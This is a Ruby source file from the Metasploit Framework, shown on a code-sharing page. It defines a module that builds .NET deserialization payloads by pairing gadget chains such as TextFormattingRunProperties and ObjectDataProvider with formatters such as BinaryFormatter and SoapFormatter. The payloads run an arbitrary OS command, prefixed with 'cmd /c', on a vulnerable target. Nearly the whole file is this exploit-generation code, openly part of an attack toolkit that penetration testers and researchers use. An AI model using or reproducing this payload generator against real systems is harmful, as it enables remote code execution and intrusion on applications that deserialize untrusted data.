CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/util/dot_net_deserialization.rb
Views: 11779
1
require 'bindata'
2
3
module Msf
4
module Util
5
6
#
7
# Much of this code is based on the YSoSerial.Net project
8
# see: https://github.com/pwntester/ysoserial.net
9
#
10
module DotNetDeserialization
11
DEFAULT_FORMATTER = :BinaryFormatter
12
DEFAULT_GADGET_CHAIN = :TextFormattingRunProperties
13
14
def self.encode_7bit_int(int)
15
return "\x00".b if int == 0
16
17
# see: https://github.com/microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/mscorlib/system/io/binaryreader.cs#L582
18
encoded_int = []
19
while int > 0
20
value = int & 0x7f
21
int >>= 7
22
value |= 0x80 if int > 0
23
encoded_int << value
24
end
25
26
encoded_int.pack('C*')
27
end
28
29
def self.get_ancestor(obj, ancestor_type, required: true)
30
while ! (obj.nil? || obj.is_a?(ancestor_type))
31
obj = obj.parent
32
end
33
34
raise RuntimeError, "Failed to find ancestor #{ancestor_type.name}" if obj.nil? && required
35
36
obj
37
end
38
39
#
40
# Generation Methods
41
#
42
43
# Generates a .NET deserialization payload for the specified OS command using
44
# a selected gadget-chain and formatter combination.
45
#
46
# @param cmd [String] The OS command to execute.
47
# @param gadget_chain [Symbol] The gadget chain to use for execution. This
48
# will be application specific.
49
# @param formatter [Symbol] An optional formatter to use to encapsulate the
50
# gadget chain.
51
# @return [String]
52
def self.generate(cmd, gadget_chain: DEFAULT_GADGET_CHAIN, formatter: DEFAULT_FORMATTER)
53
stream = self.generate_gadget_chain(cmd, gadget_chain: gadget_chain)
54
self.generate_formatted(stream, formatter: formatter)
55
end
56
57
# Take the specified serialized blob and encapsulate it with the specified
58
# formatter.
59
#
60
# @param stream [Msf::Util::DotNetDeserialization::Types::SerializedStream]
61
# The serialized stream representing the gadget chain to format into a
62
# string.
63
# @param formatter [Symbol] The formatter to use to encapsulate the serialized
64
# data blob.
65
# @return [String]
66
def self.generate_formatted(stream, formatter: DEFAULT_FORMATTER)
67
case formatter
68
when :BinaryFormatter
69
formatted = Formatters::BinaryFormatter.generate(stream)
70
when :JsonNetFormatter
71
formatted = Formatters::JsonNetFormatter.generate(stream)
72
when :LosFormatter
73
formatted = Formatters::LosFormatter.generate(stream)
74
when :SoapFormatter
75
formatted = Formatters::SoapFormatter.generate(stream)
76
else
77
raise NotImplementedError, 'The specified formatter is not implemented'
78
end
79
80
formatted
81
end
82
83
# Get a list of gadget chains that are compatible with the specified formatter.
84
#
85
# @param formatter [Symbol] The formatter to get gadget chains for.
86
# @return [Array<Symbol>]
87
def self.formatter_compatible_gadget_chains(formatter)
88
case formatter
89
when :BinaryFormatter, :LosFormatter
90
chains = GadgetChains::NAMES.select { |name| GadgetChains.const_get(name) <= (Types::SerializedStream) }
91
when :JsonNetFormatter
92
chains = %i[ ObjectDataProvider ]
93
when :SoapFormatter
94
chains = %i[ ClaimsPrincipal TextFormattingRunProperties WindowsIdentity ]
95
else
96
raise NotImplementedError, 'The specified formatter is not implemented'
97
end
98
99
chains
100
end
101
102
# Generate a serialized data blob using the specified gadget chain to execute
103
# the OS command. The chosen gadget chain must be compatible with the target
104
# application.
105
#
106
# @param cmd [String] The operating system command to execute. It will
107
# automatically be prefixed with "cmd /c" by the gadget chain.
108
# @param gadget_chain [Symbol] The gadget chain to use for execution.
109
# @return [Types::SerializedStream]
110
def self.generate_gadget_chain(cmd, gadget_chain: DEFAULT_GADGET_CHAIN)
111
case gadget_chain
112
when :ClaimsPrincipal
113
stream = GadgetChains::ClaimsPrincipal.generate(cmd)
114
when :DataSet
115
stream = GadgetChains::DataSet.generate(cmd)
116
when :DataSetTypeSpoof
117
stream = GadgetChains::DataSetTypeSpoof.generate(cmd)
118
when :ObjectDataProvider
119
stream = GadgetChains::ObjectDataProvider.generate(cmd)
120
when :TextFormattingRunProperties
121
stream = GadgetChains::TextFormattingRunProperties.generate(cmd)
122
when :TypeConfuseDelegate
123
stream = GadgetChains::TypeConfuseDelegate.generate(cmd)
124
when :WindowsIdentity
125
stream = GadgetChains::WindowsIdentity.generate(cmd)
126
else
127
raise NotImplementedError, 'The specified gadget chain is not implemented'
128
end
129
130
stream
131
end
132
end
133
end
134
end
135
136